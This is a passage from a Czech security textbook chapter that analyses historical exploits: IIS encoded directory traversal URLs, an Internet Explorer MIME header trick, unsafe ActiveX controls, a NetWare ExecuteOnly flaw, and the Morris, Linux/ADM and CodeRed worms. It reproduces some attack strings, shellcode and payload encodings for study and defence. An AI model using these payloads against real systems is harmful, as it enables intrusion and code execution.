Například Microsoft IIS podporuje kódování UTF-8, ve kterém znak %2F reprezentuje obyčejné lomítko "/". Kódování UTF-8 konvertuje 7bitové znaky US-ASCII do jednoduchého bajtu (8 bitů) a ostatní znaky do skupin více bajtů. Konverze se provádí takto: 0-7 bitů 0xxxxxxx 8-11 bitů 110xxxxx 10xxxxxx 12-16 bitů 1110xxxx 10xxxxxx 10xxxxxx 17-21 bitů 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Pro vysvětlení – lomítko (0x2F, 0101111) bude v UTF-8 kódování 00101111. Znak s hexadecimální reprezentací 0x10A (binárně 100001010) má 9 bitů a jeho reprezentace v UTF-8 je tedy 11000100 10001010.

Přestože standardní kódování nepřekoná výše zmíněné bezpečnostní kontroly validace, Microsoft IIS stále nabízí dekódování, umožňující zpracovat 7-bitové znaky ve formátu podle pravidla 8-11 bitů.

Například znak lomítko (0x2F, 1011111) by v kódování UTF-8 (pomocí pravidla 8-11 bitů) byl 11000000 10101111 (hexadecimálně 0xC0 0xAF). Takže namísto použití této URL: http://domain.tld/user/../../autoexec.bat

je možné nahradit lomítko odpovídající reprezentací v UTF-8: http://domain.tld/user/..%co%af../autoexec.bat.

Kontrola vstupu toto URL adresu povolí, protože nerozliší dopředné lomítko, které je kódováno pomocí UTF-8. To umožňuje přístup mimo kořenový adresář webu. Tuto zranitelnost opravil Microsoft v Security Bulletinu MS00-78.

Microsoft IIS dále provádí dekódování UTF-8 při dvou různých příležitostech. To umožňuje, aby byly znaky zakódovány dvakrát. Zpětné lomítko (0x5C) může být například reprezentováno jako %5C. Je však také možné zakódovat samotný znak procento (0x25). Znak %5C se tak zakóduje jako %255C. Při prvním průchodu se %255C dekóduje do %5C a při druhém průchodu se tato hodnota dekóduje na zpětné lomítko.

342

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Takže URL typu http://domain.tld/user/..%5c../autoexec.bat, neprojde vstupní kontrolou, zatímco http://domain.tld/user/..%255c../autoexec.bat projde, což umožní přístup mimo kořenový adresář webu. Tuto zranitelnost Microsoft opravil v Security Bulletinu MS01-26.

Neschopnost webových serverů poskytnout řádnou validaci vstupu může vést k útokům. V IIS je například možné využít zranitelnosti kódování k průniku mimo kořenový adresář webu, a spustit ze systémového adresáře Windows program CMD.EXE, což umožní vzdálené vykonávání. W32/Nimda využívá tento druh útoku ke kopírování sebe sama na webový server a k následnému spuštění své kopie.

10.3.4.5 Parsování hlaviček MIME Když Microsoft Internet Explorer parsuje soubor, ten může obsahovat vložené soubory, které jsou kódované pomocí MIME. Způsob práce s těmito soubory specifikuje hlavička, která definuje typ MIME. Pomocí vyhledávací tabulky jsou tyto MIME typy asociovány s lokální aplikací. MIME typ audio/basic je například obecně asociován s Windows Media Playerem. MIME soubory označené jako audio/basic jsou tedy zaslány do této aplikace.

Typy MIME jsou definovány pomocí hlavičky Content-Type. Kromě asociované aplikace má každý typ velké množství dalších nastavení, včetně ikony. Tato nastavení indikují, zdali se má zobrazovat přípona souboru, a zdali se má soubor po stažení automaticky spustit pomocí asociované aplikace.

Když je pomocí Microsoft Outlooku (nebo některého jiného klienta) načten e-mail obsahující HTML kód, je tento kód e-mailu zpracován Internet Explorerem. Pokud e-mail obsahuje vnořený MIME soubor, Internet Explorer to rozpozná a pokusí se s tímto souborem pracovat. Zranitelné verze Internet Exploreru zjišťují, zdali může být asociovaná aplikace otevřena automaticky (tedy bez výzvy uživateli) zkoumáním hlavičky Content-Type. Například soubory audio/x-wave se automaticky přeposílají Windows Media Playeru k přehrání.

Ve zranitelných verzích Internet Exploreru však existuje chyba – soubory mohou být předány nesprávným aplikacím. Pro ukázku – hlavička MIME může vypadat například takto: Content-Type: audio/x-wav; name="foobar.exe" Content-Transfer-Encoding: base64 Content-ID: <CID>

V tomto případě Internet Explorer zjistí, že soubor měl být automaticky (bez výzvy) přeposlán přiřazené aplikaci, protože typ obsahu je audio/x-wav. Při zjišťování toho, o kterou asociovanou aplikaci jde, však nepoužije hlavičku Content-Type (a samotnou hlavičku souboru), ale nesprávně se spolehne na výchozí přiřazení, které je utvořeno podle přípony souboru. V tomto případě má soubor příponou .EXE, takže není přehrán pomocí příslušné aplikace, ale je předán operačnímu systému ke spuštění.

Tato chyba umožňuje automatické spuštění libovolného kódu. Některé hromadné mailery pro Win32 rozesílají sami sebe prostřednictvím e-mailu, ve kterém je nějaký spustitelný soubor, který je zakódovaný pomocí MIME, a který má upravenou hlavičkou, takže se soubor spustí bez toho, aniž by se o tom uživatel dozvěděl. K tomu dojde v okamžiku, kdy Internet Explorer parsuje e-mail, což může nastat teh-

Počítačové viry – analýza útoku a obrana

343

dy, když uživatel takový e-mail čte nebo zobrazuje jeho náhled. E-mailoví červi se tedy mohou šířit bez toho, aniž by uživatel musel soubory přiložené k e-mailu ukládat na disk nebo je rovnou spouštět.

Pro tento typ exploitu může být zneužit jakýkoliv správně asociovaný soubor MIME, který nemá nastaven příznak "Confirm open after download" (Potvrdit otevření souboru po stažení). Vytvořit nějaký seznam souborů MIME je tak nemožné, protože vývojáři mohou registrovat své vlastní typy MIME. Tento exploit byl využit červy W32/Badtrans a W32/Klez, kteří se spustili ihned poté, co uživatel zobrazil infikovaný e-mail.

10.3.4.6 Ověřování práv aplikací Nedůsledná validace vstupů může mít za následek přidání větších přístupových práv různým aplikacím (například kanonizace URL); k témuž důsledku však může vést i nevhodné označení nějakého kódu jako "bezpečného", což se například využívá v ActiveX. V důsledku toho mnoho smíšených útoků využívá také exploit založený na ověřování přístupových práv ActiveX13.

10.3.4.7 Ovládací prvky ActiveX, které jsou bezpečné pro skriptování Ovládací prvky ActiveX jsou zamýšleny jako obecně skriptovatelné. Vystavují množinu vlastností a metod, které mohou být eventuálně vyvolány nežádoucím způsobem, často prostřednictvím IE. Rámec bezpečnosti ActiveX vyžaduje, aby vývojáři sami stanovili, zdali je možné jejich ovládací prvky ActiveX eventuálně použít škodlivým způsobem. Pokud se vývojář rozhodne, že ovládací prvek je bezpečný, označí jej jako "Bezpečný pro skriptování" (safe for scripting).

Microsoft upozorňuje, že prvky ActiveX, které splňují některé z následujících charakteristik, nesmí být označeny jako bezpečné pro skriptování:  Přistupují k informacím o lokálním počítači nebo uživateli.  Odhalují důvěrné informace o počítači nebo o síti.  Modifikují nebo odstraňují informace o počítači nebo o síti.  Mohou způsobit chybu a možnou havárii prohlížeče.  Spotřebovávají nadměrné množství zdrojů, například paměti.  Provádí potenciálně nebezpečná systémová volání, včetně spouštění souborů.  Pracují klamným způsobem a generují neočekávané výsledky.

Navzdory těmto jednoduchým pravidlům jsou však některé ovládací prvky ActiveX, splňující uvedené charakteristiky, označeny jako bezpečné pro skriptování – a použity škodlivým způsobem.

Například VBS/Bubbleboy využívá ovládací prvek ActiveX Scriptlet.Typelib14 k zápisu souboru do adresáře Windows "Po spuštění". Tento ovládací prvek obsahuje vlastnosti pro definici cesty a obsahu souboru. Protože byl nekorektně označen jako bezpečným pro skriptování, je možné pomocí vzdálené webové stránky nebo e-mailu, který obsahuje HTML kód, vyvolat metodu pro zápis lokálního souboru bez spuštění výstražného dialogu ActiveX.

344

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Ovládací prvky ActiveX, které jsou označené jako bezpečné pro skriptování, mohu být snadno vypátrány prozkoumáním registru. Když pod klíčem "Implemented Categories" některého prvku ActiveX naleznete CLSID klíč příznaku "bezpečný pro skriptování", je tento prvek tímto způsobem označen.

Například prvek Scriptlet.Typelib má class ID {06290BD5-48AA-11D2-8432-006008C3FBFC}; CLSID příznaku "bezpečný pro skriptování" je {7DD95801-9882-11CF-9FA0-00AA006C42C4}. Nezabezpečený systém pak bude mít v registru klíč vypadající takto: HKCR/CLSID/{06290BD5-48AA-11D2-8432-006008C3FBFC}/Implemented Categories/{7DD95801-9882-11CF-9FA0-00AA006C42C4}

To umožňuje jakékoliv vzdálené webové stránce nebo příchozímu HTML e-mailu vytvářet na lokálním systému škodlivé soubory. Je zřejmé, že ponechat rozhodnutí o bezpečnosti prvku na samotném vývojáři je velice nezodpovědné.

10.3.4.8 Modifikace systému Poté, co do systému získá přístup škodlivý kód, je systém často upraven tak, aby se zamezilo ověřování přístupových práv uživatelů nebo aplikací. Takové úpravy mohou být jednoduché – například vyřazení hesla roota či modifikace jádra umožňující zvýšení uživatelských práv nebo povolení původně neautorizovaného přístupu.

Například CodeRed vytváří virtuální webový adresář, čímž umožňuje všeobecný přístup na kompromitovaný webový server; W32/Bolzano15 upravuje jádro, čímž v systémech Windows NT zamezuje ověřování uživatelských práv. Různé techniky zneužití, které jsou založeny na modifikaci systému, však bylo možné provádět i na starších systémech, například v prostředí Novell NetWare.

10.3.4.8.1 Nebezpečný atribut ExecuteOnly systému NetWare Po dlouhou dobu byl atribut ExecuteOnly (pouze pro spuštění) doporučován jako dobrý způsob zabezpečení proti virovým infekcím a k zamezení ilegálního kopírování. Tento atribut nicméně není bezpečný, a v některých případech může být i škodlivý. Malá chyba ve starých verzích Workstation Shellu systému Novell NetWare (například NET3.COM z roku 1989) dovoluje některým virům zapisovat do souborů označených jako "ExecuteOnly", i když se nejedná o viry přímo pro tento systém16.

Tyto chyby obsahuje i shell novějších verzí Novell NetWare, což znamená, že problém přetrvává dodnes.

Když běží takový chybový síťový shell, může rychle nakažlivý kód zapisovat do souborů s příznakem ExecuteOnly ve kterékoliv verzi NetWare. Nehledě na to, že existují i další možnosti explitace stejné zranitelnosti na jakékoliv verzi shellu NetWare.

K tomu dochází z toho důvodu, že atribut ExecOnly není právem systému NetWare, ale pouze obyčejným atributem. Předpokládá se, že s tímto atributem může pracovat pouze shell na pracovní stanici, ale na nezabezpečených systémech DOS je nemožné toho dosáhnout. A protože na straně serveru neexistuje pro soubory s ExecuteOnly žádná ochrana proti zápisu, může kterýkoliv program, který je schopný rozvrátit kontrolu shellu, tyto soubory nejenom číst a kopírovat, ale také do nich zapisovat.

Počítačové viry – analýza útoku a obrana

345

Protože soubory s atributem ExecuteOnly nemohou být obecně čteny žádným programem (ani s oprávněním administrátora), nemůže být takový nakažený soubor detekován pomocí standardních scannerů virů. Proto je obnova infikovaných souborů velkým problémem.

10.3.4.8.2 Pouze vykonání?

Pod systémem Novell NetWare je možné označit soubory atributem "ExecuteOnly". K tomu má práva pouze uživatel supervisor. Protože tyto soubory pak nemůže vůbec nikdo číst (ani supervisor ne), má se za to, že jsou nedosažitelné jiným druhem přístupu, než spuštěním nebo smazáním (pouze supervisorem). Tato metoda bohužel není dokonalá, takže problém je zásadního charakteru.

Protože pracovní stanice může přistupovat k souborům na serveru, software musí nahrát klienta systému NetWare do paměti. V případě pracovních stanic DOS se tento software sestává ze dvou program TSR (Terminate and Stay Resident, po ukončení zůstat rezidentní v paměti). Klient musí nejdříve spustit IPX (ovladač protokolu komunikace na nízké úrovni) a poté NETx, shell pracovní stanice. Ten přidává několik nových podfunkcí k ovladači (handler) DOS INT 21h.

Pokud jsou IPX a NETx spuštěny, uživatel může na pracovní stanici spustit příkaz LOGIN a připojit se k serveru. Vyžádá-li si klient nějaký soubor, shell ověří jeho umístění. V NETx nejsou žádné speciální funkcionality pro požadavky na lokální soubory, protože přesměrovává všechny požadavky, které vyžadují odpověď ze serveru. Takže všechny požadavky na spuštění programu, tedy volání EXEC (INT 21h/AH=4Bh) jsou přesměrovány na souborový server v případě, že cesta k programu je mapována ze serveru.

Každá funkce EXEC musí nejdříve načíst kód programu do paměti pracovní stanice. K tomu musí být schopna otevřít tento soubor pro čtení. Soubory "ExecOnly" není možné otevřít žádným uživatelem (ani supervisorem ne), takže shell musí mít nějaká "zadní vrátka". Tento shell šeptá, "já jsem shell a chci spustit tento soubor; dej mi k němu přístup". Jeho požadavky na otevření, čtení, nebo uzavření určitého souboru s atributem ExecuteOnly pak uspějí.

Poznámka Nebudu zde dokumentovat, jak zadní vrátka pracují. Nechci tím inspirovat autory virů.

V chybném síťovém shellu pak operace pokračuje jednoduchým voláním funkce "otevři soubor": 1AA3:62EF B8003D

MOV

AX,3D00 ; Otevři pro čtení

1AA3:62F2 CD21

INT

21

Protože shell potřebuje otevřít soubor, zranitelný kód použije funkci Open (3Dh) přerušení INT 21h.

Protože se však tato volání realizují přes tabulku vektorů přerušení, může je monitorovat každý rezidentní program. Volání přerušení jsou tedy viditelná rychlým infektorům (konkrétně virům, kteří se připojí na INT 21h a čekají na podfunkci Open). Tato zranitelnost tak bez jakéhokoliv úsilí umožňuje virům infikovat soubory označené jako "ExecuteOnly" v okamžiku, když jsou spuštěny na pracovní stanici, na které běží chybový shell.

346

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Kvůli demonstraci jsem spustil test pomocí viru Burglar.1150.A, typického rychlého infektoru (v době provádění tohoto experimentu byl tento virus aktivní). Nahrál jsem předchozí zranitelnou verzi shellu pracovní stanice a systém Novell NetWare 4.10. Dále jsem v jednom adresáři, pomocí pomocí práv supervisora, vytvořil několik testovacích souborů a označil je jako atributem ExecuteOnly.

Virus jsem spustil na pracovní stanici, kde jsem byl přihlášen s právy normálního uživatele (nikoliv supervizora), měl jsem však právo modifikace k testovacímu adresáři. Dokud jsem měl přiřazena tato práva, virus mohl bez problémů infikovat soubory s ExecuteOnly. To znamená, že na straně serveru není na úrovni souborů žádná ochrana proti zápisu do souborů "ExecuteOnly". Je-li pracovní stanice schopna zapisovat do těchto souborů, NetWare server to umožní také!

Pro účely jiného jednoduchého testu jsem spustil interní příkaz DOSu ECHO a přesměoval jeho výstup do souboru "ExecuteOnly". Příkaz vypadal takto: ECHO X >> test.com

K mému překvapení jsem byl schopen soubory s atributem ExecuteOnly bez problémů modifikovat!

Nyní se podívejme, co udělal Novell k odstranění této zranitelnosti. Jedná se zřejmě o malou, ale velice významnou změnu toho, jak shell otevírá soubor. Tento shell volá svůj vstupní bod INT 21h přímo – nikoliv prostřednictvím tabulky vektorů přerušení. To znamená, že volání již není viditelné ostatním TSR programům (a ani virům). Kód shellu je opraven tímto způsobem: 1AB3:501D B8003D

MOV AX,3D00

1AB3:5020 9C

PUSHF

1AB3:5021 0E

PUSH CS

1AB3:5022 E893B7

CALL 07B8; 07B8 Vstupní bod shellu

Pro kontrolu posloupnosti přerušení OPEN a EXEC jsem použil INTRSPY (Interrupt Spy)17. Jedná se o malý a velice užitečný program TSR, který dokáže monitorovat všechna přerušení.

Pomocí Interrupt Spy můžete vidět, jak byl soubor TEST.COM otevřen na souborovém serveru chybovým síťovým shellem: EXEC: INT 21h AX=4B00 BX=0D03 CX=0D56 DX=41B9 File:

Timer: 880420

F:\VIRUS!\TEST.COM

OPEN: INT 21h AX=3D00 BX=008C CX=0012 DX=41B9 Timer: 880420 File:

F:\VIRUS!\TEST.COM

Když jsem pak použil opravený síťový shell (NETX.EXE), program Interrupt Spy již otevření souboru "TEST.COM" na souborovém serveru nezaznamenal: EXEC: INT 21h AX=4B00 BX=0D03 CX=0D56 DX=41B9 File:

F:\VIRUS!\TEST.COM

OPEN: INT 21h AX=3D00 BX=0001 CX=0000 DX=001F File

Timer: 893702

A:\REPORT.TXT

Timer: 893810

Počítačové viry – analýza útoku a obrana

347

10.3.4.8.3 Závěry z tohoto experimentu Samotný atribut "ExecuteOnly" nemůže zamezit ani ilegálnímu kopírování, a ani virům. Útočník má příliš mnoho možností, jak obejít jednotlivé ochrany:  Útok 1. Útočník může uložit obraz spuštěného programu z paměti pracovní stanice. To může být

často obtížné (například kvůli realokovanému kódu), ale obecně je to možné.  Útok 2. Útočník použije chybový shell společně s rezidentním programem, který se připojí na

INT 21h a čeká na otevření souboru. Pak tento program zkopíruje soubor na jiné místo bez příznaku ExecuteOnly.  Útok 3. Útočník změní kód shellu v paměti (nebo v samotném souboru programu NETx)

úpravou několika bajtů. Takto je možné z korektního shellu odstranit ochranu souborů "ExecuteOnly". Z takových pracovních stanic pak může každý program (nebo uživatel) kopírovat nebo modifikovat soubory označené jako ExecuteOnly. Tento útok jsem demonstroval s mým konceptem exploitačního kódu na konferenci EICAR v roce 1996.

Určitě byste si tedy neměli myslet, že příznak ExecuteOnly je bezpečnostním řešením v systému NetWare. Určitě není. Zvláště od té doby, co rychle infikující viry mohou infikovat tyto označené soubory běžící na zranitelných shellech. Tato zranitelnost způsobuje mnoho problémů při čištění sítě od virů.

10.3.4.9 Výčet sítě Některé 32bitové počítačové viry si zjišťují obsah sítí Windows pomocí standardního API Win32 pro prohlížení, jako WNetOpenEnum() a WNetEnumResourceA() v MPR.DLL. Tento útok se jako první objevil ve viru W32/ExploreZip. Na obrázku 10.12 je zachycena struktura typické sítě Windows.

Obrázek 10.12 Typická síť Windows s doménami.

348

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Zdroje, které již neobsahují další zdroje, se nazývají jako objekty. Na obrázku 10.12 jsou objekty Sdílený bod #1 a Sdílený bod #2. Sdilený bod je objekt, který je přístupný napříč sítí. Sdíleným bodem mohou být například tiskárny nebo sdílené adresáře.

Virus W32/Funlove18 byl prvním, který infikoval soubory na sdílených místech sítě zjišťováním obsahu sítě. Tento virus způsobil mnoho bolestí hlav tím, že infikoval rozsáhlé firemní sítě po celém světě. To je způsobeno jeho typickou informovaností o síti. Lidé totiž často sdílí adresáře bez jakýchkoliv bezpečnostních omezení, přičemž jich často sdílí více, než sami potřebují (často celý disk C:), a to bez jakéhokoliv hesla. To zvyšuje efektivitu tohoto typu virů.

Některé viry, jako například W32/HLLW.Bymer, používají k přístupu na sdílený disk C: vzdálených systémů, které používají složku Windows, formu \\nnn.nnn.nnn.nnn\c\windows\, kde posloupnost číslic nnn označuje IP adresu. Takové útoky mohou být nepříjemné pro mnoho domácích uživatelů, jejichž PC nejsou umístěna za firewallem. Ve Windows je sdílení síťových prostředků velice jednoduché. Uživatel však musí věnovat velkou pozornost bezpečnosti – používat silná hesla, omezit přístup pouze k nezbytným prostředkům, případně použít osobní firewall atd.

Co je však ještě důležitější – s příchodem červa W32/Opaserv19 se objevují opravdu závažné exploitovatelné zranitelnosti. Opaserv exploituje zranitelnost popsanou v MS00-072. Pomocí tohoto exploitu je možné snadno útočit na sdílené disky v systémech Windows 9x/ME, i když mají nastaveno heslo.

Zranitelnost umožňuje, aby červ poslal heslo "dlouhé" jeden znak. Takto může červ (za pomoci brutální síly) rychle zadat první znak skutečného hesla – v rozsahu znaků 0x21 ("!") a 0xFF – a během okamžiku se nakopírovat na sdílený disk "chráněného" vzdáleného systému.

10.4 Současné a dřívější hrozby Tato část knihy detailně popisuje mnoho různých smíšených útoků. Ty zahrnují neblaze proslulé červy Morris a CodeRed, které používají přetečení bufferu, hrozby typu W32/Badtrans a W32/Nimda, používající exploity založené na kontrole vstupu, a W32/Bolzano a VBS/Bubbleboy, používající exploity, které jsou založené na právech aplikace nebo uživatele.

10.4.1 Internetový červ Morris, 1988 (přetečení bufferu ke spuštění kódu shellu) Červ Morris implementoval útok pomocí přetečení bufferu proti programu fingerd. Ten běžel jako systémový proces na pozadí a uspokojoval požadavky protokolu finger na příslušném portu. Problém ve fingeru se vztahoval k používání funkce knihovny gets(). Tato funkce obsahovala exploitovatelnou zranitelnost; podobný problém mělo i několik dalších funkci na systémech BSD. Protože fingerd pro volání gets() deklaroval buffer o velikost 512 bajtů bez kontroly hranic, bylo možné jej zneužít a zaslat mu delší řetězec. Červ Morris vytvořil 536 bajtů dlouhý "řetězec", který obsahoval takový kód v assembleru (také nazývaný jako kód shellu, shellkód), aby bylo možné na zásobníku vzdáleného systému spustit nový shell (pomocí upravené návratové adresy).

Zmíněný 536 bajtů dlouhý buffer byl inicializován nulami, naplněn daty, následovanými znakem "\n" (kvůli indikaci konce řádku pro gets()) a přeposlán napadenému stroji. Útok fungoval pouze proti systé-

Počítačové viry – analýza útoku a obrana

349

mům VAX (Virtual Address eXtension), které byly navrženy a vyráběny od roku 1977 až do doby jejich ústupu v letech 1999 a 2000. VAX je 32bitová architektura CISC. Tento systém byl následníkem PDP-11.

VAX používal 16 registrů, označených r0 až r15, přičemž některé z nich byly speciální a mapovaly se na SP (Stack Pointer, ukazatel zásobníku), AP (Argument pointer, ukazatel argumentu) atd.

Instrukce zodpovědné za útok jsou umístěny na zásobníku (jak je ukázáno ve výpisu 10.9) uvnitř původně vyhrazeného bufferu na pozici 400 dekadicky.

Výpis 10.9 Kód shellu červa Morris.

Operační kód VAX

Assembler

Komentář

DD8F2F736800

pushl $68732f

; ‚/sh\0‘

DD8F2F62696E

pushl $6e69622f

; ‚/bin‘

D05E5A

movl sp, r10

; ulož ukazatel na příkaz

DD00

pushl $ 0

; třetí parametr

DD00

pushl $0

; druhý parametr

DD5A

pushl r10

; adresa push ‚/bin/sh\0‘

DD03

pushl $3

; počet argumentů pro chmk

D05E5C

movl sp, ap

; registr ukzatele argumentu

BC3B

chmk $3b

; změna režimu na jádro

;= ukazatel zásobníku

Tento kód je systémovým voláním execve("/bin/sh", 0, 0)8, kterým se spouští shell.

Bajty 0 až 399 bufferu pro útok byly vyplněny operačním kódem 01 (NOP, žádná operace). Kromě původní délky bufferu byla změněna i další data, která do zásobníku vložila novou návratovou adresu. Ta se měla odkazovat do bufferu, a eventuálně zasáhnout kód shellu uvnitř něj. Když útok proběhl, mohl proces převzít kód shellu a červ mohl prostřednictvím otevřeného síťového spojení úspěšně zasílat do systému další příkazy. Červ upravil na zásobníku programu fingerd původní návratovou adresu funkce main(). Je-li na systému VAX pomocí instrukce calls nebo callg volána funkce main (nebo jiná funkce), generuje se na zásobníku rámec volání. Protože první lokální proměnnou programu fingerd byl buffer, byl tento rámec volání umístěn hned za něj. Přetečení bufferu tak způsobilo, že se rámec volání změnil. Červ Morris tak úspěšně modifikoval rámec volání, přepsal v něm šest položek a nastavil návratovou adresu na pozici uloženého programového čítače (PC, program counter, jedná se o ekvivalent EIP na procesorech od Intelu), který by s jistou pravděpodobností mohl ukazovat do vytvořeného bufferu. Instrukce NOP v útočném bufferu červa zvyšují šanci, že řízení eventuálně přejde na kód shellu. Kód červa specifikuje volání jako instrukci volání nastavením bitu S v poli masky. Obrázek 10.13 zachycuje rozvržení rámce volání na systému VAX.

350

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Obrázek 10.13 Rozvržení rámce volání na systému VAX. Instrukce RET může eventuálně zpřístupnit změněný rámec volání (který je kromě uloženého PC s největší pravděpodobností velice podobný svému původnímu obsahu), sebrat nové PC a vrátit se na místo, které zasáhne kód shellu červa. Kód shellu se vždy vytváří tak, aby byl co nejkratší. V případě červa Morris je to 28 bajtů. Shellkód se často musí vejít do malých bufferů, aby mohl exploitovat co největší množství zranitelných aplikací. V případě démona finger je sice velikost bufferu 512 bajtů, nicméně jiné aplikace nemusí mít vyhrazené obdobné množství místa pro kód shellu.

10.4.2 Linux/ADM, 1998 (napodobenina červa Morris) V roce 1998, v době kolem desátého výročí červa Morris, vytvořila skupina hackerů nového linuxového červa, který byl nazván jako Linux/ADM, a který se velmi rychle rozšířil. Červ využil techniku přetečení bufferu k útoku na servery BIND (Berkeley Internet Name Domain).

BIND je služba, který naslouchá na portu s číslem 53. Červ útočil na server pomocí upraveného IQUERY (inverse query) tak, že pro dotaz zadal dlouhé tělo (paket) požadavku. Některé verze BIND měly na různých místech několik podobných zranitelností ohledně přetečení bufferu, nicméně chyba v dotazu byla umístěna v modulu ns_req.c. Funkce req_iquery byla volána k vyřízení příchozího požadavku IQUERY. Velikost paketu pro dotaz musí být taková, aby byla dostatečně dlouhá k zasažení návratové adresy.

Funkce se tak nevrací, ale doufá, že spustí obsah bufferu, který je vyplněn instrukcemi NOP a obsahuje shellkód, který volá execve() na systémech Linux na platformě Intel (funkce = 0x0b, INT 80h). Útok Linux/ADM je velice podobný útoku červa Morris. Používá také útok založený na shelkódu – důležitý rozdíl je však v tom, že Linux/ADM se celý rekompiluje, zatímco červ Morris měl pouze krátký bootovací kód, který se kompiloval pro cílové platformy. Červ Linux/ADM sestává z několika souborů C, a z několika dalších skriptovacích souborů, uložených v souboru TAR. Tyto moduly červ kompiluje jako "test", "Hnamed", "gimmeRAND", "scanco" a "remotecmd" (v tomto pořadí).

Počítačové viry – analýza útoku a obrana

351

Když je červ spuštěn, vyhledává nové hostitele, které by mohl infikovat. Pomocí gimmeRAND generuje náhodné IP adresy, a za pomoci scanco kontroluje zranitelné systémy.

Pokud je nalezen zranitelný systém, modul Hnamed se použije společně s odpovídajícími parametry.

Tyto parametry specifikují stroj, který má být napaden, a útočný řetězec shellu, kterým je příkazová posloupnost /bin/sh. Červ může z útočícího systému získat svůj zdrojový kód a na novém hostiteli restartovat proces kompilace. Linux/ADM se ujišťuje o instalaci dodatečného vzdáleného příkazového řádku.

Tento vzdálený příkazový řádek se stal velmi důležitým, protože bývalý bezpečnostní pracovník, Max Butler, vytvořil protiútok ve formě červa, který na linuxové systémy instaluje bezpečnostní záplaty, aby zastavil červa Linux/ADM a podobné útoky. Butler tohoto červa modifikoval, aby instaloval záplaty, ale vypadá to, že zapomněl odstranit vzdálený příkazový řádek, který otevírá systémy k útokům zvenčí.

Max Butler byl za spuštění červa, který v průběhu několika dnů roku 1998 napadl stovky počítačů vojenských a obranných dodavatelů, odsouzen k 18 měsícům vězení. Informoval o tom Security Focus.

10.4.3 Vypuknutí epidemie červa CodeRed, 2001 (injektování kódu) Červ CodeRed byl uvolněn v červenci roku 2001. Během několika hodin se replikoval na tisíce systémů.

Bylo odhadováno, že během 24 hodin bylo červem napadeno přes 300 tisíc strojů. Jednalo se o systémy Windows 2000, na kterých běžely zranitelné verze Microsoft IIS. Je zajímavé, že pro infekci vzdáleného systému nemusel červ na něm vytvářet žádné soubory – existoval totiž pouze v jeho paměti. Toho červ dosáhnul tak, že díky pečlivě připravenému útoku na port 80 (webové služby) se připojil do kontextu procesu Microsoft IIS na cílovém systému.

Webový server IIS v případě útoku přijme požadavek GET /default.ida?, následovaný 224 znaky, URL kódovanou 22 znaky Unicode (44 bajtů), nekorektním znakem Unicode %u00=a, HTTP 1.0, hlavičkou a tělem požadavku.

U původního červa CodeRed bylo prvních 224 znaků N, existovaly však i jiné implementace, které používaly jiné bajty výplně, jako třeba X. Ve všech případech byly znaky kódované URL adresy stejné (vypadaly jako %uXXX, kde X je hexadecimální číslice). Tělo požadavku je v různých známých variantách odlišné.

IIS ukládá tělo požadavku v bufferu na heapu. Poznamenejme, že požadavek GET nemůže obsahovat žádné požadované tělo, nicméně IIS tento požadavek čte svědomitě, v souladu s instrukcemi v hlavičce.

10.4.3.1 Detaily přetečení buferu Během zpracování 224 znaků v požadavku GET přepíše funkce v IDQ.DLL zásobník nejméně dvakrát (viz obrázek 10.14): jednou, když expanduje všechny znaky do Unicode a podruhé, když dekóduje znaky URL zadané pomocí únikových (escape) sekvencí. K přepisu, v jehož důsledku převezme řízení tělo červa, však dojde, když IDQ.DLL zavolá funkci DecodeURLEscapes() v QUERY.DLL20.

352

Kapitola 10 – Exploity, zranitelná místa, útoky založené na přetečení ...

Obrázek 10.14 Zásobník, heap a nákres rámce útoku CodeRed. Předpokládá se, že volající kód udává délku ve vícebajtových znacích (Unicode), ten ji však specifikuje jako počet bajtů. V důsledku toho si DecodeURLEscapes() myslí, že má dvakrát tolik místa, než opravdu má, a přepíše zásobník (stack). Některé z dekódovaných znaků Unicode zadaných v URL skončí přepsáním bloku výjimky, založeném na rámci zásobníku. Ještě po přepsání zásobníku pokračuje zpracování až po volání rutiny v MSVCRT.DLL (běhová knihovna C). Tato rutina zaznamená, že je něco špatně, a generuje výjimku.

Výjimky se generují voláním rutiny RaiseException() v KERNEL32.DLL. Tato rutina předá řízení KiUserExceptionDispatcher() v NTDLL.DLL. Když je KiUserExceptionDispatcher() vyvolána, EBX ukazuje na rámec výjimky, který byl přepsán.

Rámec výjimky se skládá ze čtyř hodnot DWORD, každá má 32 bitů, přičemž druhá z nich je adresa ovladače výjimky reprezentovaného rámce. Kódování URL, jehož expanze přepíše začátek tohoto rámce, začíná s třetím výskytem znaku %u9090 a vypadá takto: %u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3

Toto se dekóduje jako čtyři hodnoty DWORD: 0x68589090, 0x7801CBD3, 0x90909090 a 0x00C38190.

Adresa ovladače výjimky je nastavena na 0x7801CBD3 (druhá hodnota); tato adresa je pomocí funkce CALL ECX volána rutinou KiUserExceptionDispatcher(), EBX se přitom stále odkazuje na první hodnotu DWORD. Adresa 0x7801CBD3 je v adresovacím prostoru IIS uvnitř obrazu DLL s runtime knihovnou jazyka C – MSVCRT.DLL, která je zavedena na pevnou adresu. Na této adrese je v modulu MSVCRT.DLL in-

Počítačové viry – analýza útoku a obrana

353

strukce CALL EBX. Když KiUserExceptionDispatcher() vyvolá ovladač výjimky, volá instrukci CALL EBX, která obratem předá řízení prvnímu bajtu přepsaného bloku výjimky. Tento blok, interpretovaný jako kód, nalezne hlavní kód červa, který je v bufferu požadavku na heapu, a předá mu řízení.

Autor tohoto exploitu potřeboval dekódovat bajty Unicode na funkci jednak jako blok rámce výjimky, obsahující ukazatel na "ovladač výjimky" na 0x7801CBD3, a jednak jako spustitelný kód. První DWORD bloku výjimky je vyplněn čtyřmi bajty instrukcí, aranžovanými tak, že nejsou nijak škodlivé; druhá hodnota DWORD tohoto bloku je však 0x7801CBD3. První dvě hodnoty DWORD (0x68589090, 0x7801CBD3) lze disassemblovat do instrukcí "NOP, NOP, POP EAX, PUSH 0x7801CBD3" – tímto způsobem se úloha snadno dokončí.

Když se spustí kód na zásobníku (přičemž je nutné zabránit havárii při běhu "bloku výjimky"), kód nalezne a následně spustí hlavní část kódu červa.

